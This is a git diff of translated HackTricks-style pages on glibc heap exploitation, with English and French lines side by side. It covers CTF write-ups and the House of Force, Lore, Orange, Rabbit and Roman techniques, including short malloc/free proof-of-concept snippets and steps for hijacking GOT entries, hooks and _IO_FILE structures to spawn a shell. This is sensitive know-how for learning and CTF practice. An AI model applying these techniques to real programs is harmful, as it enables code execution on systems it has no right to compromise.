- [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11)
- The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function
- The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff)
- Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc`
- Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function
- L'objectif de ce scénario est un ret2win où nous devons modifier l'adresse d'une fonction qui va être appelée par l'adresse de la fonction ret2win.
- Le binaire a un débordement qui peut être exploité pour modifier la taille du top chunk, qui est modifiée à -1 ou p64(0xffffffffffffffff).
- Ensuite, l'adresse de l'endroit où le pointeur à écraser existe est calculée, et la différence entre la position actuelle du top chunk et cet endroit est allouée avec `malloc`.
- Enfin, un nouveau chunk est alloué qui contiendra cette cible désirée à l'intérieur, qui est écrasée par la fonction ret2win.
- [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap
- Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**.
- Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh`
- An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`.
- Dans le `Input your name:`, il y a une vulnérabilité initiale qui permet de divulguer une adresse de la heap.
- Ensuite, dans la fonctionnalité `Org:` et `Host:`, il est possible de remplir les 64B du pointeur `s` lorsqu'on demande le **nom de l'organisation**, qui dans la pile est suivi par l'adresse de v2, qui est ensuite suivi par le **nom d'hôte** indiqué. Comme ensuite, strcpy va copier le contenu de s dans un chunk de taille 64B, il est possible de **écraser la taille du top chunk** avec les données mises à l'intérieur du **nom d'hôte**.
- Maintenant que l'écriture arbitraire est possible, le GOT de `atoi` a été écrasé à l'adresse de printf. Il a alors été possible de divulguer l'adresse de `IO_2_1_stderr` _avec_ `%24$p`. Et avec cette fuite libc, il a été possible d'écraser à nouveau le GOT de `atoi` avec l'adresse de `system` et de l'appeler en passant comme paramètre `/bin/sh`.
- Une méthode alternative [proposée dans cet autre article](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud) consiste à écraser `free` avec `puts`, puis à ajouter l'adresse de `atoi@got`, dans le pointeur qui sera ensuite libéré afin qu'il soit divulgué et avec cette fuite écraser à nouveau `atoi@got` avec `system` et l'appeler avec `/bin/sh`.
- [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
- There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function.
- Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content.
- Il y a un UAF permettant de réutiliser un chunk qui a été libéré sans effacer le pointeur. En raison de certaines méthodes de lecture, il est possible de divulguer une adresse libc en écrivant un pointeur vers la fonction free dans le GOT ici, puis en appelant la fonction de lecture.
- Ensuite, la House of force a été utilisée (abusant de l'UAF) pour écraser la taille de l'espace restant avec un -1, allouer un chunk suffisamment grand pour atteindre le free hook, puis allouer un autre chunk qui contiendra le free hook. Ensuite, écrire dans le hook l'adresse de `system`, écrire dans un chunk `"/bin/sh"` et enfin libérer le chunk avec ce contenu de chaîne.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,44 +1,44 @@
# House of Lore | Small bin Attack
# Maison de Lore | Petite attaque de bin
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
### Code
- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- This isn't working
- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected`
- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20;
- Vérifiez celui de [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- Cela ne fonctionne pas
- Ou : [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- Cela ne fonctionne pas même s'il essaie de contourner certaines vérifications en obtenant l'erreur : `malloc(): unaligned tcache chunk detected`
- Cet exemple fonctionne encore : [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20;
### Goal
### Objectif
- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\
Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position.
- Insérer un **faux petit morceau dans le petit bin afin qu'il soit possible de l'allouer**.\
Notez que le petit morceau ajouté est le faux que l'attaquant crée et non un faux à une position arbitraire.
### Requirements
### Exigences
- Create 2 fake chunks and link them together and with the legit chunk in the small bin:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- `legit.bk` -> `fake0`
- Créer 2 faux morceaux et les lier ensemble et avec le morceau légitime dans le petit bin :
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (vous devez modifier un pointeur dans le morceau de petit bin libéré via une autre vulnérabilité)
- `legit.bk` -> `fake0`
Then you will be able to allocate `fake0`.
Ensuite, vous pourrez allouer `fake0`.
### Attack
### Attaque
- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.**
- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- `legit.bk` -> `fake0`
- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins
- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it.
- Un petit morceau (`legit`) est alloué, puis un autre est alloué pour éviter de se consolider avec le morceau supérieur. Ensuite, `legit` est libéré (le déplaçant vers la liste des bins non triés) et un morceau plus grand est alloué, **déplaçant `legit` vers le petit bin.**
- Un attaquant génère quelques faux petits morceaux et effectue les liaisons nécessaires pour contourner les vérifications de validité :
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (vous devez modifier un pointeur dans le morceau de petit bin libéré via une autre vulnérabilité)
- `legit.bk` -> `fake0`
- Un petit morceau est alloué pour obtenir legit, rendant **`fake0`** en haut de la liste des petits bins
- Un autre petit morceau est alloué, obtenant `fake0` comme morceau, permettant potentiellement de lire/écrire des pointeurs à l'intérieur.
## References
## Références
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore)

View File

@ -1,73 +1,73 @@
# House of Orange
# Maison de l'Orange
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
### Code
- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
- The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26)
- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
- Trouvez un exemple dans [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
- La technique d'exploitation a été corrigée dans ce [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) donc cela ne fonctionne plus (fonctionne dans les versions antérieures à 2.26)
- Même exemple **avec plus de commentaires** dans [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
### Goal
### Objectif
- Abuse `malloc_printerr` function
- Abuser de la fonction `malloc_printerr`
### Requirements
### Exigences
- Overwrite the top chunk size
- Libc and heap leaks
- Écraser la taille du chunk supérieur
- Fuites de libc et de heap
### Background
### Contexte
Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
Quelques informations nécessaires provenant des commentaires de [**cet exemple**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\
This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\
Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution
Le fait est que, dans les anciennes versions de libc, lorsque la fonction `malloc_printerr` était appelée, elle **itérerait à travers une liste de structures `_IO_FILE` stockées dans `_IO_list_all`**, et exécuterait en fait un pointeur d'instruction dans cette structure.\
Cette attaque va forger une **fausse structure `_IO_FILE`** que nous allons écrire dans **`_IO_list_all`**, et provoquer l'exécution de `malloc_printerr`.\
Ensuite, elle **exécutera n'importe quelle adresse** que nous avons stockée dans la table de saut des structures **`_IO_FILE`**, et nous obtiendrons une exécution de code.
### Attack
### Attaque
The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set.
L'attaque commence par réussir à obtenir le **chunk supérieur** à l'intérieur de la **bin non triée**. Cela est réalisé en appelant `malloc` avec une taille supérieure à la taille actuelle du chunk supérieur mais inférieure à **`mmp_.mmap_threshold`** (la valeur par défaut est 128K), ce qui déclencherait autrement une allocation `mmap`. Chaque fois que la taille du chunk supérieur est modifiée, il est important de s'assurer que le **chunk supérieur + sa taille** est aligné sur une page et que le bit **prev_inuse** du chunk supérieur est toujours défini.
To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin.
Pour obtenir le chunk supérieur à l'intérieur de la bin non triée, allouez un chunk pour créer le chunk supérieur, changez la taille du chunk supérieur (avec un dépassement dans le chunk alloué) afin que **chunk supérieur + taille** soit aligné sur une page avec le bit **prev_inuse** défini. Ensuite, allouez un chunk plus grand que la nouvelle taille du chunk supérieur. Notez que `free` n'est jamais appelé pour obtenir le chunk supérieur dans la bin non triée.
The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), its possible to leak libc addresses from it and get the address of **\_IO_list_all**.
L'ancien chunk supérieur est maintenant dans la bin non triée. En supposant que nous puissions lire des données à l'intérieur (possiblement en raison d'une vulnérabilité qui a également causé le dépassement), il est possible de fuir des adresses libc à partir de celui-ci et d'obtenir l'adresse de **\_IO_list_all**.
An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**.
Une attaque de bin non triée est effectuée en abusant du dépassement pour écrire `topChunk->bk->fwd = _IO_list_all - 0x10`. Lorsqu'un nouveau chunk est alloué, l'ancien chunk supérieur sera divisé, et un pointeur vers la bin non triée sera écrit dans **`_IO_list_all`**.
The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes:
L'étape suivante consiste à réduire la taille de l'ancien chunk supérieur pour qu'il s'adapte à une petite bin, en définissant spécifiquement sa taille à **0x61**. Cela sert deux objectifs :
1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack.
2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`.
1. **Insertion dans la petite bin 4** : Lorsque `malloc` parcourt la bin non triée et voit ce chunk, il essaiera de l'insérer dans la petite bin 4 en raison de sa petite taille. Cela fait que le chunk se retrouve en tête de la liste de la petite bin 4, qui est l'emplacement du pointeur FD du chunk de **`_IO_list_all`** car nous avons écrit une adresse proche dans **`_IO_list_all`** via l'attaque de la bin non triée.
2. **Déclenchement d'un contrôle de Malloc** : Cette manipulation de la taille du chunk provoquera `malloc` à effectuer des vérifications internes. Lorsqu'il vérifie la taille du faux chunk avant, qui sera zéro, cela déclenche une erreur et appelle `malloc_printerr`.
The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed.
La manipulation de la petite bin vous permettra de contrôler le pointeur avant du chunk. Le chevauchement avec **\_IO_list_all** est utilisé pour forger une fausse structure **\_IO_FILE**. La structure est soigneusement conçue pour inclure des champs clés comme `_IO_write_base` et `_IO_write_ptr` définis sur des valeurs qui passent les vérifications internes dans libc. De plus, une table de saut est créée dans la fausse structure, où un pointeur d'instruction est défini à l'adresse où un code arbitraire (par exemple, la fonction `system`) peut être exécuté.
To summarize the remaining part of the technique:
Pour résumer la partie restante de la technique :
- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin.
- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow.
- **Réduire l'ancien chunk supérieur** : Ajustez la taille de l'ancien chunk supérieur à **0x61** pour l'adapter à une petite bin.
- **Configurer la fausse structure `_IO_FILE`** : Chevauchez l'ancien chunk supérieur avec la fausse structure **\_IO_FILE** et définissez les champs de manière appropriée pour détourner le flux d'exécution.
The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed.
L'étape suivante consiste à forger une fausse structure **\_IO_FILE** qui chevauche l'ancien chunk supérieur actuellement dans la bin non triée. Les premiers octets de cette structure sont soigneusement conçus pour inclure un pointeur vers une commande (par exemple, "/bin/sh") qui sera exécutée.
Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands.
Les champs clés dans la fausse structure **\_IO_FILE**, tels que `_IO_write_base` et `_IO_write_ptr`, sont définis sur des valeurs qui passent les vérifications internes dans libc. De plus, une table de saut est créée dans la fausse structure, où un pointeur d'instruction est défini à l'adresse où un code arbitraire peut être exécuté. En général, cela serait l'adresse de la fonction `system` ou une autre fonction qui peut exécuter des commandes shell.
The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed.
L'attaque culmine lorsqu'un appel à `malloc` déclenche l'exécution du code via la structure **\_IO_FILE** manipulée. Cela permet effectivement l'exécution de code arbitraire, entraînant généralement le lancement d'un shell ou l'exécution d'une autre charge utile malveillante.
**Summary of the Attack:**
**Résumé de l'attaque :**
1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size.
2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk.
3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin.
4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow.
5. **Shrink the old top chunk**: Adjust its size to fit into a small bin.
6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow.
7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code.
1. **Configurer le chunk supérieur** : Allouez un chunk et modifiez la taille du chunk supérieur.
2. **Forcer le chunk supérieur dans la bin non triée** : Allouez un chunk plus grand.
3. **Fuir les adresses libc** : Utilisez la vulnérabilité pour lire depuis la bin non triée.
4. **Effectuer l'attaque de la bin non triée** : Écrivez dans **\_IO_list_all** en utilisant un dépassement.
5. **Réduire l'ancien chunk supérieur** : Ajustez sa taille pour l'adapter à une petite bin.
6. **Configurer une fausse structure \_IO_FILE** : Forgez une fausse structure de fichier pour détourner le flux de contrôle.
7. **Déclencher l'exécution de code** : Allouez un chunk pour exécuter l'attaque et exécuter un code arbitraire.
This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities.
Cette approche exploite les mécanismes de gestion de heap, les fuites d'informations libc et les dépassements de heap pour obtenir une exécution de code sans appeler directement `free`. En façonnant soigneusement la fausse structure **\_IO_FILE** et en la plaçant au bon endroit, l'attaque peut détourner le flux de contrôle lors des opérations d'allocation de mémoire standard. Cela permet l'exécution de code arbitraire, entraînant potentiellement un shell ou d'autres activités malveillantes.
## References
## Références
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/)
- [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)

View File

@ -2,110 +2,92 @@
{{#include ../../banners/hacktricks-training.md}}
### Requirements
### Exigences
1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size.
2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks.
1. **Capacité à modifier le pointeur fd du fast bin ou sa taille** : Cela signifie que vous pouvez changer le pointeur avant d'un chunk dans le fastbin ou sa taille.
2. **Capacité à déclencher `malloc_consolidate`** : Cela peut être fait en allouant un grand chunk ou en fusionnant le chunk supérieur, ce qui force le tas à consolider les chunks.
### Goals
### Objectifs
1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations.
2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations.
1. **Créer des chunks qui se chevauchent** : Avoir un chunk qui se chevauche avec un autre, permettant d'autres manipulations du tas.
2. **Forger de faux chunks** : Tromper l'allocateur pour qu'il traite un faux chunk comme un chunk légitime lors des opérations sur le tas.
## Steps of the attack
## Étapes de l'attaque
### POC 1: Modify the size of a fast bin chunk
### POC 1 : Modifier la taille d'un chunk de fast bin
**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk.
- **Step 1: Allocate Chunks**
**Objectif** : Créer un chunk qui se chevauche en manipulant la taille d'un chunk de fastbin.
- **Étape 1 : Allouer des Chunks**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
```
Nous allouons deux morceaux de 0x40 octets chacun. Ces morceaux seront placés dans la liste des fast bins une fois libérés.
We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed.
- **Step 2: Free Chunks**
- **Étape 2 : Libérer les morceaux**
```cpp
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
```
Nous libérons les deux morceaux, les ajoutant à la liste fastbin.
We free both chunks, adding them to the fastbin list.
- **Step 3: Modify Chunk Size**
- **Étape 3 : Modifier la taille du morceau**
```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
Nous changeons les métadonnées de taille de `chunk1` à 0xa1. C'est une étape cruciale pour tromper l'allocateur lors de la consolidation.
We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation.
- **Step 4: Trigger `malloc_consolidate`**
- **Étape 4 : Déclencher `malloc_consolidate`**
```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
```
Allouer un grand morceau déclenche la fonction `malloc_consolidate`, fusionnant de petits morceaux dans le fast bin. La taille manipulée de `chunk1` provoque un chevauchement avec `chunk2`.
Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`.
Après la consolidation, `chunk1` chevauche `chunk2`, permettant une exploitation supplémentaire.
After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation.
### POC 2 : Modifier le pointeur `fd`
### POC 2: Modify the `fd` pointer
**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer.
- **Step 1: Allocate Chunks**
**Objectif** : Créer un faux morceau en manipulant le pointeur `fd` du fast bin.
- **Étape 1 : Allouer des morceaux**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
**Explication** : Nous allouons deux morceaux, un plus petit et un plus grand, pour préparer le tas pour le faux morceau.
**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk.
- **Step 2: Create fake chunk**
- **Étape 2 : Créer un faux morceau**
```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
```
Nous écrivons de fausses métadonnées de chunk dans `chunk2` pour simuler des chunks plus petits.
We write fake chunk metadata into `chunk2` to simulate smaller chunks.
- **Step 3: Free `chunk1`**
- **Étape 3 : Libérer `chunk1`**
```cpp
free(chunk1); // Frees the chunk at 0x602000
```
**Explication** : Nous libérons `chunk1`, l'ajoutant à la liste fastbin.
**Explanation**: We free `chunk1`, adding it to the fastbin list.
- **Step 4: Modify `fd` of `chunk1`**
- **Étape 4 : Modifier `fd` de `chunk1`**
```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
**Explication** : Nous changeons le pointeur avant (`fd`) de `chunk1` pour qu'il pointe vers notre faux chunk à l'intérieur de `chunk2`.
**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`.
- **Step 5: Trigger `malloc_consolidate`**
- **Étape 5 : Déclencher `malloc_consolidate`**
```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation
```
Allouer à nouveau un gros morceau déclenche `malloc_consolidate`, qui traite le faux morceau.
Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk.
Le faux morceau devient partie de la liste fastbin, en faisant un morceau légitime pour une exploitation ultérieure.
The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation.
### Résumé
### Summary
The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.
La technique **House of Rabbit** implique soit de modifier la taille d'un morceau fast bin pour créer des morceaux qui se chevauchent, soit de manipuler le pointeur `fd` pour créer des morceaux factices. Cela permet aux attaquants de forger des morceaux légitimes dans le tas, permettant diverses formes d'exploitation. Comprendre et pratiquer ces étapes améliorera vos compétences en exploitation de tas.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,87 +2,82 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
C'était une technique très intéressante qui permettait un RCE sans leaks via des fastbins factices, l'attaque unsorted_bin et des écrasements relatifs. Cependant, elle a été [**patchée**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
### Code
- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
- Vous pouvez trouver un exemple dans [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
### Goal
### Objectif
- RCE by abusing relative pointers
- RCE en abusant des pointeurs relatifs
### Requirements
### Exigences
- Edit fastbin and unsorted bin pointers
- 12 bits of randomness must be brute forced (0.02% chance) of working
- Modifier les pointeurs fastbin et unsorted bin
- 12 bits de randomisation doivent être brute-forcés (0,02 % de chance) de fonctionner
## Attack Steps
## Étapes de l'attaque
### Part 1: Fastbin Chunk points to \_\_malloc_hook
### Partie 1 : Le chunk Fastbin pointe vers \_\_malloc_hook
Create several chunks:
Créer plusieurs chunks :
- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value.
- `chunk2` (0x80, offset 0x70): For good alignment
- `fastbin_victim` (0x60, offset 0) : chunk UAF à éditer plus tard pour pointer vers la valeur LibC.
- `chunk2` (0x80, offset 0x70) : Pour un bon alignement
- `main_arena_use` (0x80, offset 0x100)
- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk
- `relative_offset_heap` (0x60, offset 0x190) : offset relatif sur le chunk 'main_arena_use'
Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers.
Ensuite, `free(main_arena_use)` qui placera ce chunk dans la liste non triée et obtiendra un pointeur vers `main_arena + 0x68` dans les pointeurs `fd` et `bk`.
Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`.
Then `relative_offset_heap` and `fastbin_victim` are freed.
Maintenant, un nouveau chunk `fake_libc_chunk(0x60)` est alloué car il contiendra les pointeurs vers `main_arena + 0x68` dans `fd` et `bk`.
Ensuite, `relative_offset_heap` et `fastbin_victim` sont libérés.
```c
/*
Current heap layout:
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
*/
```
- &#x20;`fastbin_victim` a un `fd` pointant vers `relative_offset_heap`
